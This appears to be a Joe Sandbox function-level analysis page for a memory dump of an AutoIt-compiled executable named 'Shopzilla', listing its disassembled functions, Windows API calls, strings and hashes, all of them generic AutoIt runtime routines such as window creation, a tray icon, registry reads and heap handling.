Opcode ID: 4bb18fb6b7f846874fc66fe6a7d92e2c6743fe3730021b46b57ed3d546ee28b4
Instruction ID: 7b104760000e9801bfc9c3d677b3194405dfc5346bcf89ed1976a3a61e7041e1
Opcode Fuzzy Hash: 4bb18fb6b7f846874fc66fe6a7d92e2c6743fe3730021b46b57ed3d546ee28b4
Instruction Fuzzy Hash: B0E19331508305DFC724EF24C491BAEBBE1AF86310F14856DF8959B2A2CB71DD86DB52

Function 00BB56F8 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00BF0BDB

Part of subcall function 00BB1821: _memmove.LIBCMT ref: 00BB185B

_memset.LIBCMT ref: 00BB5787
_wcscpy.LIBCMT ref: 00BB57DB
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BB57EB
__swprintf.LIBCMT ref: 00BF0C51

Strings

Line %d: , xrefs: 00BF0C4B
AutoIt - , xrefs: 00BB5760

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconLoadNotifyShell_String__swprintf_memmove_memset_wcscpy
String ID: Line %d: $AutoIt -
API String ID: 230667853-4094128768
Opcode ID: 17f6151c4817124c4bd1767987bad47b89c16ea82fb5760cc8654e1c2db09796
Instruction ID: b968945d0c84d656bd2b865ff0a980a6b99ce95164bec9847b8f5e784aa27d34
Opcode Fuzzy Hash: 17f6151c4817124c4bd1767987bad47b89c16ea82fb5760cc8654e1c2db09796
Instruction Fuzzy Hash: 7C41A071508304ABC321EB64DCA5BEF77ECAB44354F504A5EF185920A2EFB0AA49C793

Function 00BB50DB Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00BB5109
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00BB512A
ShowWindow.USER32(00000000), ref: 00BB513E
ShowWindow.USER32(00000000), ref: 00BB5147

Strings

edit, xrefs: 00BB5124
AutoIt v3, xrefs: 00BB5101, 00BB5106, 00BB5107

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: f70fa15e16cccacccc9adca08970c121a914d2f40addefa2d299b7f4de86f891
Instruction ID: d852b5287641cbbc6044e47e5f3ee88a4f64f7c7bd2cadb8d691811d5e66e6f1
Opcode Fuzzy Hash: f70fa15e16cccacccc9adca08970c121a914d2f40addefa2d299b7f4de86f891
Instruction Fuzzy Hash: B1F0DA716512947EEB3117276C69F2B6F7DD7C7F50F11012AF900A21B1C6E51851DAB0

Function 00C09983 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 155
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00BB4A8C: _fseek.LIBCMT ref: 00BB4AA4

Part of subcall function 00C09B5E: _wcscmp.LIBCMT ref: 00C09C4E
Part of subcall function 00C09B5E: _wcscmp.LIBCMT ref: 00C09C61

_free.LIBCMT ref: 00C09ACC
_free.LIBCMT ref: 00C09AD3
_free.LIBCMT ref: 00C09B3E

Part of subcall function 00BC2EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00BC9B84,00000000,00BC8C8D,00BC58F3), ref: 00BC2EC9
Part of subcall function 00BC2EB5: GetLastError.KERNEL32(00000000,?,00BC9B84,00000000,00BC8C8D,00BC58F3), ref: 00BC2EDB

_free.LIBCMT ref: 00C09B46

Strings

>>>AUTOIT SCRIPT<<<, xrefs: 00C099FC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID: >>>AUTOIT SCRIPT<<<
API String ID: 1552873950-2806939583
Opcode ID: 1346061e3226cf363da6d3202720c5d6dba5915e08412292d816603741f79c61
Instruction ID: 4899724a3b7d9bc03cc2b7a87b5b31e4edff9616f00a0ece67ddfeea372a5e41
Opcode Fuzzy Hash: 1346061e3226cf363da6d3202720c5d6dba5915e08412292d816603741f79c61
Instruction Fuzzy Hash: 0B512BB1D04219ABDF249F65DC41BAEBBB9FF48300F0045AEF649A3281DB715A84CF59

Function 00BC556D Relevance: 7.7, APIs: 5, Instructions: 163
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 00BC55CB
_memcpy_s.LIBCMT ref: 00BC563D
__read_nolock.LIBCMT ref: 00BC569B
__filbuf.LIBCMT ref: 00BC56BE
_memset.LIBCMT ref: 00BC5702

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_nolock_memcpy_s
String ID:
API String ID: 1559183368-0
Opcode ID: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction ID: e715db52fbacfac48744449001a278960aa787e55a9c5d086ab07f248b9e8385
Opcode Fuzzy Hash: 6144165ff69bcfd719b70aa37aa99b766954ae34ab2424f86f42b6890169cbb7
Instruction Fuzzy Hash: 94518070A00A05DBDF349F698880F6EB7E6EF54320F6487BEE825962D1D770ADD18B50

Function 00BA52B0 Relevance: 7.6, APIs: 5, Instructions: 99windowCOMMON

Download Yara Rule

APIs

PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA52E6
PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BA534A
TranslateMessage.USER32(?), ref: 00BA5356
DispatchMessageW.USER32(?), ref: 00BA5360

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Message$Peek$DispatchTranslate
String ID:
API String ID: 1795658109-0
Opcode ID: bc8f1225b80c9319f897390a25a2d8ccba90f9f8680f2c0c29d26a1fe3d1b734
Instruction ID: 7915a65c18657467dd677ae087bdfd5cda5c66ed025cf36208e4dcc0ffbd91ad
Opcode Fuzzy Hash: bc8f1225b80c9319f897390a25a2d8ccba90f9f8680f2c0c29d26a1fe3d1b734
Instruction Fuzzy Hash: 8F310771508B06ABEF30CB64DC84BBE77E8EB52344F2400DAE452872D1E7F0A989D755

Function 00BA1284 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 59registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00BA1275,SwapMouseButtons,00000004,?), ref: 00BA12A8
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00BA1275,SwapMouseButtons,00000004,?), ref: 00BA12C9
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00BA1275,SwapMouseButtons,00000004,?), ref: 00BA12EB

Strings

Control Panel\Mouse, xrefs: 00BA12A6

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 1d4e7d596707bf81c5d7e083165e75f23cca50822a3972b2aadf0b2766244a8f
Instruction ID: cc537814015999c65b50060386d591cf1bc2d413aadedce355ff323cd6078c28
Opcode Fuzzy Hash: 1d4e7d596707bf81c5d7e083165e75f23cca50822a3972b2aadf0b2766244a8f
Instruction Fuzzy Hash: D8115A75514208BFDB608FA8DC84FAEBBFCEF06740F104999F805D7110D2319E4497A4

Function 00C03D8A Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,00C32C4C), ref: 00C03DC4
GetLastError.KERNEL32 ref: 00C03DD3
CreateDirectoryW.KERNELBASE(?,00000000), ref: 00C03DE2
CreateDirectoryW.KERNEL32(?,00000000,00000000,000000FF,00C32C4C), ref: 00C03E3F

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: CreateDirectory$AttributesErrorFileLast
String ID:
API String ID: 2267087916-0
Opcode ID: a9991f940560518e5d003f15e4489901fb7b715ddb8eb4749a94623961a29292
Instruction ID: 87fd32788d18cddb5b75672327fed20dd7d18462e115afc5d80aa8994b5ed7f9
Opcode Fuzzy Hash: a9991f940560518e5d003f15e4489901fb7b715ddb8eb4749a94623961a29292
Instruction Fuzzy Hash: 78216D715082419FC700EF28C8919AFBBE8EE59764F104A59F4A9C72E2D7309A46CB52

Function 00BB5B29 Relevance: 6.1, APIs: 4, Instructions: 66timewindowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BB5B58

Part of subcall function 00BB56F8: _memset.LIBCMT ref: 00BB5787
Part of subcall function 00BB56F8: _wcscpy.LIBCMT ref: 00BB57DB
Part of subcall function 00BB56F8: Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BB57EB

KillTimer.USER32(?,00000001,?,?), ref: 00BB5BAD
SetTimer.USER32(?,00000001,000002EE,00000000), ref: 00BB5BBC
Shell_NotifyIconW.SHELL32(00000001,000003A8), ref: 00BF0CFC

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconNotifyShell_Timer_memset$Kill_wcscpy
String ID:
API String ID: 1378193009-0
Opcode ID: daabe54ff728229dfd00b1c63283ca38ab1310b4da5a2750079f82707e2386e2
Instruction ID: 1802181d48276fc2a1ebd086968de7cf5c8f423c51114015d914248dee654809
Opcode Fuzzy Hash: daabe54ff728229dfd00b1c63283ca38ab1310b4da5a2750079f82707e2386e2
Instruction Fuzzy Hash: CF21AA715047889FE7729B24C895BFABBECEB11308F0401DDE79A57252C7B42988CB51

Function 00BB278A Relevance: 5.5, APIs: 2, Strings: 1, Instructions: 260COMMON

Download Yara Rule

APIs

Part of subcall function 00BB49C2: LoadLibraryExW.KERNELBASE(?,00000000,00000002,?,?,00BB27AF,?,00000001), ref: 00BB49F4

_free.LIBCMT ref: 00BEFA84
_free.LIBCMT ref: 00BEFACB

Part of subcall function 00BB29BE: SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00BB2ADF

Strings

Bad directive syntax error, xrefs: 00BEFAB3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _free$CurrentDirectoryLibraryLoad
String ID: Bad directive syntax error
API String ID: 2861923089-2118420937
Opcode ID: adacb27b578f9928a23477d0ef70db130fea84c8900d9ce12ce10a29ae425b55
Instruction ID: 1e1dbf018256382994b6dd791ffd2ddead84296890fc8313f19a7fe25b4feca6
Opcode Fuzzy Hash: adacb27b578f9928a23477d0ef70db130fea84c8900d9ce12ce10a29ae425b55
Instruction Fuzzy Hash: 8D913C7191025AAFCF14EFA5C8919FEB7F4FF04310F1045BAE856AB292DB70AA05DB50

Function 00C09B5E Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 00BB4AB2: __fread_nolock.LIBCMT ref: 00BB4AD0

_wcscmp.LIBCMT ref: 00C09C4E
_wcscmp.LIBCMT ref: 00C09C61

Strings

FILE, xrefs: 00C09B9A

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: _wcscmp$__fread_nolock
String ID: FILE
API String ID: 4029003684-3121273764
Opcode ID: dca5f10bbfaa40ceb581a3491d3dcbb79f4f16b5165c3c688c150bdef50bbf7b
Instruction ID: a039d652996ca090410add53ee5a1da94c719bc3d7136636ffa41dc863ff4b98
Opcode Fuzzy Hash: dca5f10bbfaa40ceb581a3491d3dcbb79f4f16b5165c3c688c150bdef50bbf7b
Instruction Fuzzy Hash: A741D631A40219BBDF219AA1CC45FEFBBF9EF45710F0040AAF900A7282D7B19A45CB65

Function 00BB31BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BF02AB
GetOpenFileNameW.COMDLG32(?), ref: 00BF02F5

Part of subcall function 00BC01AF: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00BB2A58,?,00008000), ref: 00BC01CF

Part of subcall function 00BC08F0: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00BC090F

Strings

X, xrefs: 00BF02C3

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen_memset
String ID: X
API String ID: 3777226403-3081909835
Opcode ID: 61e4305b613e35c5a1b0e28a032161dde7f32ae392a3dec8052fa037c1c0c484
Instruction ID: 637f93137b05ca75b9212607ad867ed88aa5d763e9b5494c92e90b41d5112573
Opcode Fuzzy Hash: 61e4305b613e35c5a1b0e28a032161dde7f32ae392a3dec8052fa037c1c0c484
Instruction Fuzzy Hash: 6A218171A10258ABDF41AFD8C845BEE7BF8AF48701F00409AE804A7241DBF4598CCFA5

Function 00C1CF8E Relevance: 4.9, APIs: 3, Instructions: 392COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: faae23a296a0badfaf1babc956ff2ccac7bbfdb0611a0b0c79229bbcd65f1b01
Instruction ID: 50d20501a2f00a6ad430bd2b1668415ab707d056efd1ef2510d7cbd7d8068aba
Opcode Fuzzy Hash: faae23a296a0badfaf1babc956ff2ccac7bbfdb0611a0b0c79229bbcd65f1b01
Instruction Fuzzy Hash: 82F147706083019FC714DF29C484A6ABBE5FF89314F54896EF8AA9B351D770E985CF82

Function 00BAAAAA Relevance: 4.7, APIs: 3, Instructions: 168comCOMMON

Download Yara Rule

APIs

Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00BC0717
Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(00000010,00000000), ref: 00BC071F
Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00BC072A
Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00BC0735
Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(00000011,00000000), ref: 00BC073D
Part of subcall function 00BC06E6: MapVirtualKeyW.USER32(00000012,00000000), ref: 00BC0745

Part of subcall function 00BBFE77: RegisterWindowMessageW.USER32(WM_GETCONTROLNAME,?,00BAAC6B), ref: 00BBFED2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00BAAD08
OleInitialize.OLE32(00000000), ref: 00BAAD85
CloseHandle.KERNEL32(00000000), ref: 00BE2E86

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: bd07bdaa9c1d4b3e6436d14f8712ed36f380f2641092be87f7fedff5e1f62d13
Instruction ID: ea939b080f4c11a21adfe5934ba7f9b5bd507c7b9872d26a9d82c97415a8a66f
Opcode Fuzzy Hash: bd07bdaa9c1d4b3e6436d14f8712ed36f380f2641092be87f7fedff5e1f62d13
Instruction Fuzzy Hash: FB81ABB09152409FCBA4DF3BE99576DBBE8EB58308B10857AD059C7371EBB18404CF91

Function 00BB59D3 Relevance: 4.6, APIs: 3, Instructions: 77windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00BB59F9
Shell_NotifyIconW.SHELL32(00000000,?), ref: 00BB5A9E
Shell_NotifyIconW.SHELL32(00000001,?), ref: 00BB5ABB

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: IconNotifyShell_$_memset
String ID:
API String ID: 1505330794-0
Opcode ID: 067346c2388ab5c6b833792ad1997d076f4d6eed77d0ddcd19f3c172153cd495
Instruction ID: 4cff1ff8a22854e6582684de27743d4211ae9d7535aa6f8f91248b920c1867f2
Opcode Fuzzy Hash: 067346c2388ab5c6b833792ad1997d076f4d6eed77d0ddcd19f3c172153cd495
Instruction Fuzzy Hash: B83193B05057019FD770DF24D8947EBBBF8FB48308F000A6EE59A93250D7B16948CB52

Function 00BC586C Relevance: 4.6, APIs: 3, Instructions: 59memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

__FF_MSGBANNER.LIBCMT ref: 00BC5883

Part of subcall function 00BCA2CB: __NMSG_WRITE.LIBCMT ref: 00BCA2F2
Part of subcall function 00BCA2CB: __NMSG_WRITE.LIBCMT ref: 00BCA2FC

__NMSG_WRITE.LIBCMT ref: 00BC588A

Part of subcall function 00BCA328: GetModuleFileNameW.KERNEL32(00000000,00C643BA,00000104,00000004,00000001,00BC0F33), ref: 00BCA3BA
Part of subcall function 00BCA328: ___crtMessageBoxW.LIBCMT ref: 00BCA468

Part of subcall function 00BC3201: ___crtCorExitProcess.LIBCMT ref: 00BC3207
Part of subcall function 00BC3201: ExitProcess.KERNEL32 ref: 00BC3210

Part of subcall function 00BC8C88: __getptd_noexit.LIBCMT ref: 00BC8C88

RtlAllocateHeap.NTDLL(00D20000,00000000,00000001,?,00000004,?,?,00BC0F33,?), ref: 00BC58AF

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

API ID: ExitProcess___crt$AllocateFileHeapMessageModuleName__getptd_noexit
String ID:
API String ID: 1372826849-0
Opcode ID: 47c437d0afc64558b49d648693ad99e2c1429487b64743af58efec93948f53b3
Instruction ID: 4956b5086ac661be5b846d6619ba92bfbe9ce7fd76be27a7b4e86693d3034cc0
Opcode Fuzzy Hash: 47c437d0afc64558b49d648693ad99e2c1429487b64743af58efec93948f53b3
Instruction Fuzzy Hash: FE01F535340B12AAD6342724EC92F2E33D8DF81B61F6001BDF401EA181DEB0AC8047B0

Function 00C09135 Relevance: 4.5, APIs: 3, Instructions: 22COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00C09143

Part of subcall function 00BC2EB5: RtlFreeHeap.NTDLL(00000000,00000000,?,00BC9B84,00000000,00BC8C8D,00BC58F3), ref: 00BC2EC9
Part of subcall function 00BC2EB5: GetLastError.KERNEL32(00000000,?,00BC9B84,00000000,00BC8C8D,00BC58F3), ref: 00BC2EDB

_free.LIBCMT ref: 00C09154
_free.LIBCMT ref: 00C09166

Memory Dump Source

Source File: 0000000A.00000002.2941850054.0000000000BA1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00BA0000, based on PE: true

Associated: 0000000A.00000002.2941823679.0000000000BA0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C30000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2941948303.0000000000C55000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942037506.0000000000C5F000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2942066359.0000000000C68000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_ba0000_Shopzilla.jbxd

Similarity

